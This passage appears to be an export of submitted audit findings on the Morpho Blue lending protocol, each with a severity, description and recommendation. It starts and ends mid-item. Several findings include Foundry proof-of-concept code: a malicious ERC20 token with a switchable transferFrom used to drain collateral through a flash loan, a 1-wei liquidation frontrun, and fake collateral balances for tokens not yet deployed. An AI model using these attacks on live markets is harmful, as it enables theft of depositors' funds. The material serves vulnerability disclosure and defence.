+Measure balance before and balance after and ensure, that `amount + balance before >= balance after`
+
+
+
+### A malicious user can create a market using a malicious collateral tokens and steal funds. _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+A malicious user can create a market using a malicious collateral tokens and steal funds by exploiting two vulnerabilities of the protocol: 1) collateral tokens are not white-listed, and the oracle for collateral tokens are not white-listed either. So one can provide a malicious collateral token to open a new market.
+and 2) the flashloan() function allows to loan ANY token, including malicious tokens.
+
+In the following, I provided a POC to show that maliciousUser creates a second market market2 using a malicious collateral token and steal funds from user1, who supplies 100e18 loanTokens to Morpho. In addition, the malicious user calls the flashloan to steal all the collateralToken back.
+
+User1 provides 100e18 loanTokens to market2:
+
+```javascript
+ After user1 supplies 100e18.
+ Balance of loanToken for market2: 100000000000000000000
+ Balance of loanToken for maliciousUser: 0
+ Balance of malicousCollateral for market2: 0
+ Balance of malicousCollateral for maliciousUser: 1000000000000000000000
+```
+
+After maliciousUser borrows the 100e18 loanTokens with 1000e18 maliciousCollateral:
+
+```javascript
+After maliciousUser borrows the 100e18.
+ Balance of loanToken for market2: 0
+ Balance of loanToken for maliciousUser: 100000000000000000000
+ Balance of malicousCollateral for market2: 1000000000000000000000
+ Balance of malicousCollateral for maliciousUser: 0
+```
+
+maliciousUser calls maliciousCollateral.callAny(), which calls Morpho.flashloan() to steal all the maliciousCollateralToken back. This is possible because the maliciousCollateral.transferFrom() is implemented as follows:
+
+```javascript
+function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
+ if(void & 16 > 0) return true;
+
+ require(allowance[from][msg.sender] >= amount, "insufficient allowance");
+
+ allowance[from][msg.sender] -= amount;
+
+ require(balanceOf[from] >= amount, "insufficient balance");
+
+ balanceOf[from] -= amount;
+ balanceOf[to] += amount;
+
+ emit Transfer(from, to, amount);
+
+ return true;
+ }
+```
+
+During the call, ``void`` is set to 16; as a result, the transferFrom returns immediately, which means, the calller never returned the borrowed maliciousCollateral back to Morpho. As a result, the tokens are stolen by maliciousCollateral, which is then withdrawn by maliciousCollateral.withdraw() to maliciousUser.
+
+```javascript
+ After maliciousUser uses flashLoan to steal all collateral back.
+ Balance of loanToken for market2: 0
+ Balance of loanToken for maliciousUser: 100000000000000000000
+ Balance of malicousCollateral for market2: 0
+ Balance of malicousCollateral for maliciousUser: 1000000000000000000000
+```
+
+Finally, the maliciousUser gets 100e18 loanTokens and also the 1000e18 maliciousCollateral tokens. User1 lost 100e18 loanTokens.
+
+
+The Foundry code is as follows:
+
+```javascript
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "../../lib/forge-std/src/Test.sol";
+import "../../lib/forge-std/src/console.sol";
+
+import {IMorpho} from "../../src/interfaces/IMorpho.sol";
+import "../../src/interfaces/IMorphoCallbacks.sol";
+import {IrmMock} from "../../src/mocks/IrmMock.sol";
+import {ERC20Mock} from "../../src/mocks/ERC20Mock.sol";
+import {MaliciousERC20} from "../../src/mocks/MaliciousERC20.sol";
+import {OracleMock} from "../../src/mocks/OracleMock.sol";
+
+import "../../src/Morpho.sol";
+import {Math} from "./helpers/Math.sol";
+import {SigUtils} from "./helpers/SigUtils.sol";
+import {ArrayLib} from "./helpers/ArrayLib.sol";
+import {MorphoLib} from "../../src/libraries/periphery/MorphoLib.sol";
+import {MorphoBalancesLib} from "../../src/libraries/periphery/MorphoBalancesLib.sol";
+import "./BaseTest.sol";
+// import {SafeTransferLib} from ".../../src/libraries/SafeTransferLib.sol";
+
+
+
+contract MyTest is BaseTest {
+ address user1 = makeAddr("user1");
+ address user2 = makeAddr("user2");
+ address victimSupplier = makeAddr("victimSupplier");
+ address user1proxy = makeAddr("user1Proxy");
+ address borrower1 = makeAddr("borrower1");
+ address badBorrower = makeAddr("badBorrower");
+ address maliciousUser = makeAddr("maliciousUser");
+
+
+ using MarketParamsLib for MarketParams;
+ using MorphoLib for IMorpho;
+ using SafeTransferLib for IERC20;
+
+
+ function setUp() public override {
+ super.setUp();
+
+ marketParams = MarketParams(address(loanToken), address(collateralToken), address(oracle), address(irm), DEFAULT_TEST_LLTV);
+ id = marketParams.id();
+
+ testCreateMarket(); // a market is created.
+
+ }
+
+
+ function testCreateMarket() public{
+ vm.startPrank(OWNER);
+ if (!morpho.isLltvEnabled(DEFAULT_TEST_LLTV)) morpho.enableLltv(DEFAULT_TEST_LLTV);
+ if (morpho.lastUpdate(id) == 0) morpho.createMarket(marketParams);
+ vm.stopPrank();
+
+ _forward(1);
+
+
+
+ console2.logBytes32(Id.unwrap(id));
+ }
+
+ function testMaliciousCollateral() public{
+ vm.startPrank(maliciousUser);
+ MaliciousERC20 maliciousCollateral = new MaliciousERC20(maliciousUser);
+ OracleMock oracle2 = new OracleMock();
+ oracle2.setPrice(ORACLE_PRICE_SCALE);
+ MarketParams memory marketParams2 = MarketParams(address(loanToken), address(maliciousCollateral), address(oracle2), address(irm), DEFAULT_TEST_LLTV);
+ Id id2 = marketParams2.id();
+ if (morpho.lastUpdate(id2) == 0) morpho.createMarket(marketParams2);
+
+ // user1 supplies 100e18 to market2
+ vm.startPrank(user1);
+ bytes memory d;
+ loanToken.setBalance(user1, 100e18);
+ loanToken.approve(address(morpho), 100e18);
+ morpho.supply(marketParams2, 100e18, 0, user1, d);
+ vm.stopPrank();
+
+ vm.prank(maliciousUser);
+ maliciousCollateral.mint(maliciousUser, 1000e18);
+ console2.log("\n After user1 supplies 100e18.");
+ console2.log("Balance of loanToken for market2: %d", loanToken.balanceOf(address(morpho)));
+ console2.log("Balance of loanToken for maliciousUser: %d", loanToken.balanceOf(maliciousUser));
+ console2.log("Balance of malicousCollateral for market2: %d", maliciousCollateral.balanceOf(address(morpho)));
+ console2.log("Balance of malicousCollateral for maliciousUser: %d", maliciousCollateral.balanceOf(maliciousUser));
+
+ //malicious borrow the 100e18 using malicousCollateral
+ vm.startPrank(maliciousUser);
+ maliciousCollateral.approve(address(morpho), 1000e18);
+ morpho.supplyCollateral(marketParams2, 1000e18, maliciousUser, d);
+ morpho.borrow(marketParams2, 100e18, 0, maliciousUser, maliciousUser);
+ vm.stopPrank();
+
+ console2.log("\n After maliciousUser borrows the 100e18.");
+ console2.log("Balance of loanToken for market2: %d", loanToken.balanceOf(address(morpho)));
+ console2.log("Balance of loanToken for maliciousUser: %d", loanToken.balanceOf(maliciousUser));
+ console2.log("Balance of malicousCollateral for market2: %d", maliciousCollateral.balanceOf(address(morpho)));
+ console2.log("Balance of malicousCollateral for maliciousUser: %d", maliciousCollateral.balanceOf(maliciousUser));
+
+ // maliciousUser turns off transferFrom and then calls flashloan
+ vm.startPrank(maliciousUser);
+ maliciousCollateral.setVoid(16);
+ bytes memory d2 = abi.encodeWithSelector(Morpho.flashLoan.selector, address(maliciousCollateral), 1000e18, d);
+ maliciousCollateral.callAny(address(morpho), d2); // call flashloan and get back the collateral
+ maliciousCollateral.withdraw(maliciousUser, 1000e18);
+ maliciousCollateral.setVoid(0);
+ vm.stopPrank();
+
+ console2.log("\n After maliciousUser uses flashLoan to steal all collateral back.");
+ console2.log("Balance of loanToken for market2: %d", loanToken.balanceOf(address(morpho)));
+ console2.log("Balance of loanToken for maliciousUser: %d", loanToken.balanceOf(maliciousUser));
+ console2.log("Balance of malicousCollateral for market2: %d", maliciousCollateral.balanceOf(address(morpho)));
+ console2.log("Balance of malicousCollateral for maliciousUser: %d", maliciousCollateral.balanceOf(maliciousUser));
+ }
+}
+```
+
+The code for the maliciousCollateral is as follows. The function setVoid() is used to control which function should return immediately without executing the code body. Withdraw() can be used to send the stolen funds to a recipient.
+
+```javascript
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import {IERC20} from "./interfaces/IERC20.sol";
+import "../../lib/forge-std/src/Test.sol";
+import "../../lib/forge-std/src/console.sol";
+
+contract MaliciousERC20 is IERC20 {
+ uint256 public totalSupply;
+ address owner;
+ uint256 void;
+
+ constructor(address _owner){
+ owner = _owner;
+ }
+
+ modifier onlyOwner{
+ require(msg.sender == owner, "onlyOwner");
+ _;
+ }
+
+
+ mapping(address account => uint256) public balanceOf;
+ mapping(address account => mapping(address spender => uint256)) public allowance;
+
+
+ function callAny(address target, bytes calldata d) onlyOwner payable external{
+ if(void & 1 > 0) return;
+ (bool success, ) = target.call{value: msg.value}(d);
+ require(success);
+ }
+
+ function setVoid(uint256 _void) onlyOwner external {
+ void = _void;
+ }
+
+ function withdraw(address recipient, uint256 amount) onlyOwner external{
+ this.transfer(recipient, amount); // make myself as the msg.sender
+ }
+
+
+ function mint(address account, uint256 amount) onlyOwner public virtual {
+ if(void & 2 > 0) return;
+ totalSupply += amount;
+ balanceOf[account] += amount;
+ }
+
+ function approve(address spender, uint256 amount) public virtual returns (bool) {
+ if(void & 4 > 0) return true;
+
+ allowance[msg.sender][spender] = amount;
+
+ emit Approval(msg.sender, spender, amount);
+
+ return true;
+ }
+
+ function transfer(address to, uint256 amount) public virtual returns (bool) {
+ if(void & 8 > 0) return true;
+ require(balanceOf[msg.sender] >= amount, "insufficient balance");
+
+ balanceOf[msg.sender] -= amount;
+ balanceOf[to] += amount;
+
+ emit Transfer(msg.sender, to, amount);
+
+ return true;
+ }
+
+ function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
+ if(void & 16 > 0) return true;
+
+ require(allowance[from][msg.sender] >= amount, "insufficient allowance");
+
+ allowance[from][msg.sender] -= amount;
+
+ require(balanceOf[from] >= amount, "insufficient balance");
+
+ balanceOf[from] -= amount;
+ balanceOf[to] += amount;
+
+ emit Transfer(from, to, amount);
+
+ return true;
+ }
+
+ fallback() external payable {
+ }
+}
+
+```
+
+
+
+
+**Recommendation**:
+Collateral tokens, loanTokens need to be whitelisted. The tokens that can be loaned by flashloan also needs to be white-listed.
+
+
+
+### No Incentive To Liquidate Small/Non profitable Positions _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+According to Morpho's documentation, when a small position is created (for example "if liquidators do not liquidate the position fully and thus do not account for bad debt", https://github.com/morpho-org/morpho-blue/blob/main/morpho-blue-whitepaper.pdf “Bad debt accounting”) the protocol just passively expects for a well-intentioned actor to address this problem, as there is no incentive to liquidate this non profitable position.
+
+It is crucial for the financial stability of lending and borrowing protocols to swiftly liquidate positions when the collateral value drops below the loan's liquidation threshold. Liquidators should be motivated to promptly address such "underwater" positions by earning a liquidation fee for their actions.
+
+In the specific case of Morpho, the position's collateral can be reduced to a value that the liquidation results not profitable:
+
+```
+uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+//position.collateral = reduced to a value that will make the liquidation of the updated position notprofitable.
+```
+
+Currently, those non profitable positions are not liquidated. Below a certain threshold, no one will initiate the liquidation of that position because the reward doesn't justify the transaction gas price.
+
+If there is no incentive to liquidate small positions, these underwater positions will accumulate in the system, threatening the solvency of the protocol.
+
+Note: It is important to notice this is a separate issue from bad debt realization, (lenders have incentives when realizing the bad debt for instance) which was addressed here: https://github.com/morpho-org/morpho-blue/blob/main/audits/2023-11-13-cantina-managed-review-draft.pdf, or skipping the bad debt.
+
+A malicious actor does not need an incentive to grief the protocol creating, small positions that will consitute a problem for liquidators so this issue should be addressed by the protocol.
+
+**Recommendation**:
+
+In many cases liquidation fee may be smaller than the gas cost required to liquidate small positions. This is why considering gas prices is essential when it comes to user rewards, including activities like liquidation, redemption, or claiming rewards. This ensures that users are sufficiently incentivized, even for smaller positions and also for the solvency of the protocol itself, within every edge case in their functions.
+
+
+
+### Fake Market Oracle allows stealing token _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L232-L232](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L232-L232)
+
+- Description
+Tokens can be stolen by User by creating a fake Market
+
+- Steps
+1. Attacker create a market with a cheap priced collateral, a fake Oracle which returns a skyrocket price for this cheap collateral, and a genuine loan token from another Market
+2. So lets say if Collateral real price is near 1$, the Oracle would return its price to be 10000$
+3. Provide 1 collateral to this Market
+4. Now borrow funds worth 8000$
+5. It checks whether collateral provided is worth 8000$+ltv ~ 10k$
+6. In our case since Oracle linked to Market is fake, it returns collateral price as 10000$ which means User borrow is healthy (even though its not since returned price from Oracle is fake)
+7. Loan token worth 10k$ gets transferred to Attacker
+
+- Recommendation
+Only Market which are approved by Owners should be allowed to be interacted with
+
+
+
+### Minimal Effort Frontrunning in Liquidations Facilitates Risk-Free Trading for Borrowers _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context:**
+
+https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L344C1-L410C6
+
+**Description:**
+
+In Morpho Blue's current liquidation mechanism, a liquidator can settle the entire loan of a borrower in a single transaction. This process involves two parameters for specifying liquidation amounts: `seizedAssets` and `repaidShares`. The liquidator is required to select one of these based on the borrower's debt situation. The choices are typically:
+
+1. For borrowers without bad debt, `repaidShares = borrowShares` is used to clear the debt.
+2. For borrowers with bad debt, `seizedAssets = borrower collateral` is chosen to claim the collateral.
+
+Given that liquidations are primarily executed by bots aiming for maximal profit, these two options are the most rational and commonly utilized. However, this setup enables potential exploitation through frontrunning. A party can initiate a minimal liquidation (as little as 1 wei) ahead of a larger liquidation attempt, causing the latter to fail. This vulnerability could be exploited by individuals using bots to strategically avoid liquidations during price spikes, allowing for potentially risk-free trading by delaying liquidations until more favorable market conditions.
+
+Here is a POC demonstrating that by frontrunning a liquidation with a negligible amount (1 wei), leads to the reversal of the latter due to underflow.
+
+```solidity
+function testLiquidateFrontrun() public {
+ // Set up attacker, transfer 1 wei and approve it to Morpho
+ address ATTACKER = makeAddr("Attacker");
+ vm.prank(ATTACKER);
+ loanToken.approve(address(morpho), 1);
+ loanToken.setBalance(ATTACKER, 1);
+
+ // 0.7e18 Collateral - 100e18 Supply - 1e18 Borrowed - 1e36 Price - 0.8e18 LLTV
+ LiquidateTestParams memory params = LiquidateTestParams(0.7e18, 100e18, 1e18, 1e36, 0.8e18);
+ uint256 amountSeized = params.amountCollateral;
+
+ _setLltv(params.lltv);
+ _supply(params.amountSupplied);
+
+ // We make the borrower take undercollateralized loan
+ collateralToken.setBalance(BORROWER, params.amountCollateral);
+ oracle.setPrice(type(uint256).max / params.amountCollateral);
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, params.amountCollateral, BORROWER, hex"");
+ morpho.borrow(marketParams, params.amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+ oracle.setPrice(params.priceCollateral);
+
+ // Attacker frontruns liquidation with 1 wei
+ vm.prank(ATTACKER);
+ morpho.liquidate(marketParams, BORROWER, 1, 0, hex"");
+
+ // Liquidator performs liquidation but transaction reverts with 'underflow'
+ loanToken.setBalance(LIQUIDATOR, params.amountBorrowed);
+ vm.prank(LIQUIDATOR);
+ vm.expectRevert();
+ morpho.liquidate(marketParams, BORROWER, amountSeized, 0, hex"");
+}
+```
+
+In the provided POC, adjusting `seizedAmount` to `amountCollateral - 1` means an attacker only needs to frontrun with 2 wei instead of 1 to successfully execute the attack. This scenario indicates that even minor adjustments in the liquidated amount won't suffice to counter this strategy, as attackers can simply adjust their frontrunning amount accordingly.
+
+**Potential Exploit Scenario:**
+
+An attacker could deliberately undertake high-risk loans on Morpho Blue and preemptively liquidate a trivial amount during price surges. This action would safeguard their loans from larger, bot-driven liquidations, enabling them to wait for price drops favorable to their positions. Considering Morpho Blue's high Liquidation-Loan-to-Value (LLTV) ratios, this approach could be leveraged for risk-free trading, exploiting the platform's liquidation dynamics.
+
+
+**Recommendation:**
+
+To address this issue, it's recommended to modify the liquidation logic to handle cases where `repaidShares > borrowShares` and `seizedAssets > borrower collateral` differently. Instead of the current transaction reversal, the system should proceed to liquidate the maximum available amount. This change would reduce the effectiveness of frontrunning strategies and enhance the overall integrity of Morpho Blue's liquidation process.
+
+
+
+### Tokens not yet deployed can be deposited in Morpho and be drained once deployed and supplied to Morpho Blue _(duplicate of [insufficient non existent token check can be weaponised])_
+
+**Severity:** High risk
+
+**Context:** [SafeTransferLib.sol#L21-L26](morpho-org-morpho-blue-f463e40/src/libraries/SafeTransferLib.sol#L21-L26), [SafeTransferLib.sol#L29-L34](morpho-org-morpho-blue-f463e40/src/libraries/SafeTransferLib.sol#L29-L34)
+
+**Description**:
+
+Malicious users can create a market with one loan token or collateral token that has not been deployed yet, and then call `supply` or `supplyCollateral` to increase their balance. Once the token is deployed, the attacker just has to wait for other users to supply the token to **Morpho blue** and then call `withdraw` or `withdrawCollateral` to drain the contract.
+
+This can be done because the `SafeTransferLib` library used by **Morpho blue** does not revert when transferring tokens if the token address does not contain bytecode (i.e: there's no contract deployed at that address).
+
+This situation could happen, for instance:
+* For tokens that are deployed to different chains with the same address. It is common practice to deploy tokens (and other contracts) using the same address in different chains. This way, the attacker could supply the token and once the project deploys it and users supply amounts of it, drain the contract.
+* Using a bot that tracks the activity of deployer contracts of interesting projects, malicious users could frontrun the deployment of a token to create a market and supply an arbitrary amount of such token. Once done, just waiting for users to supply would be enough to drain it.
+
+**Recommendation**:
+
+My assumption is that `SafeTransferLib` does not check if the token address is a contract address to save gas on transfers. If that is the case, contract existence should anyway be checked in certain functions of **Morpho Blue**. Mainly:
+* `supply`
+* `supplyCollateral`
+
+If that is not the case, `SafeTransferLib`'s `safeTransfer` and `safeTransferFrom` should be updated to check that `token` is a contract.
+
+
+**PoC**
+
+The following test (which you can add to the `test/forge/integration` folder of the project and try it) shows how a malicious user could supply `type(uint128).max` collateral of an unexisting token.
+
+```solidity
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "../BaseTest.sol";
+
+contract NeumoSupplyNonExistingCollateralTest is BaseTest {
+ using MathLib for uint256;
+ using MorphoLib for IMorpho;
+ using MarketParamsLib for MarketParams;
+
+ function testSupplyNonExistingCollateral() public {
+
+ address alice = makeAddr("alice");
+
+ address loanToken1 = address(10); // no contract deployed @ this address
+ address collateralToken1 = address(11); // no contract deployed @ this address
+ address oracle1 = address(3); // not used
+ address irm1 = marketParams.irm; // must be an irm contract enabled by the owner
+ uint256 lltv1 = marketParams.lltv; // must be an lltv value enabled by the owner
+
+ MarketParams memory marketParams1 = MarketParams(
+ address(loanToken1),
+ address(collateralToken1),
+ address(oracle1),
+ address(irm1),
+ lltv1
+ );
+
+ vm.startPrank(alice);
+ // Alice creates the market
+ morpho.createMarket(marketParams1);
+ // Alice supplies a max uint128 value of collateral
+ morpho.supplyCollateral(marketParams1, type(uint128).max, address(alice), new bytes(0));
+ vm.stopPrank();
+
+ Position memory p = morpho.position(marketParams1.id(), alice);
+ // We assert that the amount of collateral that Alice has in her position is type(uint128).max
+ assertEq(p.collateral, type(uint128).max);
+
+ }
+}
+```
+
+
+
+### Bad-debt can be left unrealized, blocking fund withdrawals _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L387-L389](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L387-L389)
+
+**Lines**:
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L387-L398
+
+**Description**:
+
+The protocol implements a way to socialize bad debt, by burning the borrow shares and reducing the assets from the total. This way, every liquidity provider is affected by the bad debt proportionally based on their share of the pool. This functionality is implemented in the `liquidate` function in the snippet linked.
+
+The issue is that this only kicks in when the amount of collateral of the liquidated user hits 0. If however the liquidator does not do a complete liquidation and in-fact leaves 1 wei of collateral in the account, the loss will be unrealized, and can break market operations as shown later. This new position will have some trace amounts of debt and 1 wei of collateral, making it unprofitable for liquidators since the gas costs itself will be higher than any collateral the liquidator will be able to seize. Thus the protocol will be left with unrealized bad debt, and liquidators will have no incentive to correct the affected positions.
+
+The issue with unrealized bad debt is that the actual amount of assets in the market will be lower than the amount being tracked by the pool itself. An example is demonstrated in the following POC. Here, a user opens a position which goes unhealthy. The liquidator liquidates the position leaving 1 wei of collateral, so that the bad debt isnt accounted for. Then when the liquidity provider tries to withdraw their liquidity, the call reverts since the protocol tries to pay out more than it has. There are further consequences which isnt covered in the POC but discussed later.
+
+```solidity
+ function testAttack() public {
+ uint256 amountCollateral = 1 ether;
+ uint256 amountSupplied = 100 ether;
+ uint256 amountBorrowed = 1 ether;
+ uint256 priceCollateral = 0.9e36;
+ uint256 lltv = 0.8 ether;
+ _setLltv(lltv);
+ _supply(amountSupplied);
+
+ loanToken.setBalance(LIQUIDATOR, 2 * amountBorrowed);
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ // Create unhealthy position by oracle manipulation
+ oracle.setPrice(type(uint256).max / amountCollateral);
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+ oracle.setPrice(priceCollateral);
+
+ vm.prank(LIQUIDATOR);
+ (uint256 seized, uint256 repaid) = morpho.liquidate(marketParams, BORROWER, amountCollateral - 1, 0, hex"");
+
+ // Withdraw amount check
+ uint256 supplyShares = morpho.supplyShares(id, address(this));
+
+ // Withdraw reverts since loss not socialized
+ vm.expectRevert(bytes(ErrorsLib.INSUFFICIENT_LIQUIDITY));
+ morpho.withdraw(marketParams, 0, supplyShares, address(this), address(this));
+
+ // Remaining position not worth liquidating
+ uint256 remainingCollat = morpho.collateral(id, BORROWER);
+ uint256 remainingBorrow = morpho.totalBorrowAssets(id);
+ emit log_named_uint("Remaining collateral", remainingCollat);
+ emit log_named_uint("Remaining borrow", remainingBorrow);
+ }
+```
+
+The POC shows that the `withdraw` call reverts, and the console output shows that the remaining position has 1 wei of collateral left along with some debt, making it unprofitable to liquidate due to gas costs alone.
+
+```bash
+[PASS] testAttack() (gas: 380771)
+Logs:
+ Remaining collateral: 1
+ Remaining borrow: 153999999999999999
+```
+
+Since the bad debt is now unrealized and in the form of debt, it will keep accruing interest. Thus, unsupervised, the overall health of the protocol will keep deteriorating over time due to the increase in interest. For liquidations of large positions, the bad debt can be sizable and can accrue large amounts of interest over time. Thus delayed liquidations can lead to more losses for liquidity providers, and in an extreme case, can lead to the protocol being insolvent.
+
+**Recommendation**:
+
+Put a post-health check after liquidation on the liquidated account.
+
+```solidity
+require(_isHealthy(...));
+```
+
+This will ensure that either the complete debt is paid off, or the collateral is completely seized, triggering the bad-debt realization.
+
+
+
+### Markets can be created for tokens without code _(duplicate of [insufficient non existent token check can be weaponised])_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context:**
+- [SafeTransferLib.sol](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol)
+- [Morpho.sol#L150-L161](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150-L161)
+
+**Description:**
+
+Morpho Blue uses the `SafeTransferLib` library to perform token transfers, more specifically, to call `transfer()` and `transferFrom()`.
+
+Since `SafeTransferLib` performs these calls using low-level `.call()`, both `safeTransfer()` and `safeTransferFrom()` will not revert if the `token` address is a contract with no code.
+
+This responsibility is delegated to the market creator:
+
+```solidity
+/// @dev It is the responsibility of the market creator to make sure that the address of the token has non-zero code.
+library SafeTransferLib {
+```
+
+However, this allows an attacker to create fake balances for not-yet-existing ERC20 tokens.
+
+Some protocols deploy their token across multiple networks, and when they do so, a common practice is to deploy the token contract from the same deployer address and with the same nonce so that the token address can be the same for all the networks.
+
+For example:
+- 1INCH uses the same token address for both [Ethereum](https://etherscan.io/token/0x111111111117dC0aa78b770fA6A738034120C302) and [BSC](https://bscscan.com/address/0x111111111117dc0aa78b770fa6a738034120c302)
+- Gelato's GEL token uses the same token address for [Ethereum, Fantom and Polygon](https://docs.gelato.network/gelato-dao/gel-token-contracts).
+
+
+An attacker can exploit this to set traps and potentially steal funds from unsuspecting users:
+
+- 1INCH wants to deploy their token on Polygon.
+- Before the token is deployed, Alice does the following in Morpho Blue on Polygon:
+ - Call `createMarket()` with `0x111111111117dC0aa78b770fA6A738034120C302` as `collateralToken`, which is the 1INCH token address.
+ - Call `supplyCollateral()` to give herself a large collateral balance.
+- Afterwards, the 1INCH token is deployed.
+- Bob wants to use his 1INCH tokens as collateral in Morpho Blue.
+ - He calls `supplyCollateral()` and deposits his tokens into the market created by Alice.
+- Alice can now call `withdrawCollateral()` to steal Bob's tokens.
+
+Apart from tokens on multiple chains, another form of tokens that have pre-determined addresses are tokens created from factory contracts.
+
+For example, the addresses of all Uniswap V2 LP tokens are known before deployment, since [`UniswapV2Pair` is created using `CREATE2`](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Factory.sol#L28-L32) in `UniswapV2Factory`. Since their addresses are pre-determined, an attacker can perform the same attack mentioned above before the `UniswapV2Pair` is deployed to potentially steal funds.
+
+The following POC demonstrates how an attacker can create a market and give himself unlimited supply or collateral for non-existing tokens:
+
+```solidity
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "test/forge/BaseTest.sol";
+
+contract EOATokenTest is BaseTest {
+ using MarketParamsLib for MarketParams;
+
+ function test_canCreateMarketWithEOAToken() public {
+ // Create market with loanToken and collateralToken without code
+ marketParams = MarketParams({
+ loanToken: address(0xc4fe),
+ collateralToken: address(0xdead),
+ oracle: address(oracle),
+ irm: address(irm),
+ lltv: DEFAULT_TEST_LLTV
+ });
+ id = marketParams.id();
+ morpho.createMarket(marketParams);
+
+ // Give ONBEHALF a large amount of loanToken
+ morpho.supply(marketParams, 1e30, 0, ONBEHALF, hex"");
+ assertEq(morpho.market(id).totalSupplyAssets, 1e30);
+
+ // Give ONBEHALF a large amount of collateralToken
+ morpho.supplyCollateral(marketParams, 1e30, ONBEHALF, hex"");
+ assertEq(morpho.position(id, ONBEHALF).collateral, 1e30);
+ }
+}
+```
+
+**Recommendation:**
+
+In `createMarket()`, check that `loanToken` and `collateralToken` contain code:
+
+```diff
+ function createMarket(MarketParams memory marketParams) external {
++ require(marketParams.loanToken.length != 0, ErrorsLib.LOANTOKEN_NO_CODE);
++ require(marketParams.collateralToken.length != 0, ErrorsLib.COLLATERALTOKEN_NO_CODE);
+```
+
+
+
+### Users can be liquidated right after taking maximum amount of debt _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Attack Description
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L553-L568
+
+A user who borrows the maximum amount possible can be immediately liquidated on the smallest move in the price of the collateral. This is because borrow and liquidate functions rely on the function called _isHeathy
+```
+
+`
+ /// @dev Returns whether the position of `borrower` in the given market `marketParams` with the given
+ /// `collateralPrice` is healthy.
+ /// @dev Assumes that the inputs `marketParams` and `id` match.
+ /// @dev Rounds in favor of the protocol, so one might not be able to borrow exactly `maxBorrow` but one unit less.
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+ internal
+ view
+ returns (bool)
+ {
+ uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+ market[id].totalBorrowAssets, market[id].totalBorrowShares
+ );
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+ return maxBorrow >= borrowed;
+ }
+
+```
+
+the calculation for the maxBorrow Amount is reliant upon the markets LLTV, the amount of collateral supplied by borrower and the collateral price.
+
+Notice that the same LTV will be used for borrowing and liqudiations, hence in the condition that the borrower takes out the max loan, where the borrowed amount is almost or equal to the max borrowable, an ever so slight change in the price will mean position can be liqudiated as soon as it was opened.
+```
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+```
+
+This is considered a critical finding because not only do users lose funds during liquidations, but liquidations also create bad debt for the protocol. the current logic incentivises MEV bots to liquidate such positions as much as they could.
+
+- Proof Of Concept
+
+` function testLiquidateHealthyPosition(
+ uint256 amountCollateral,
+ uint256 amountSupplied,
+ uint256 amountBorrowed,
+ uint256 amountSeized,
+ uint256 priceCollateral,
+ uint256 lltv
+ ) public {
+ _setLltv(_boundTestLltv(lltv));
+ // (amountCollateral, amountBorrowed, priceCollateral) =
+ // _boundHealthyPosition(amountCollateral, amountBorrowed, priceCollateral);
+
+ amountCollateral = 100e18;
+ amountBorrowed = 10e18;
+ priceCollateral = 1e36;
+
+ amountSupplied = amountCollateral;
+ _supply(amountSupplied);
+
+ oracle.setPrice(priceCollateral);
+
+ loanToken.setBalance(LIQUIDATOR, amountCollateral);
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+
+ uint256 maxBorrowed = uint256(amountCollateral).mulDivDown(uint256(priceCollateral), uint256(ORACLE_PRICE_SCALE)).wMulDown(uint256(marketParams.lltv));
+
+ morpho.borrow(marketParams, maxBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ // @audit collateral value goes down by just 1 wei
+ oracle.setPrice(priceCollateral-1 wei);
+
+ vm.startPrank(LIQUIDATOR);
+
+ // @audit attempt to liquidate entire position after only 1 wei movement in price
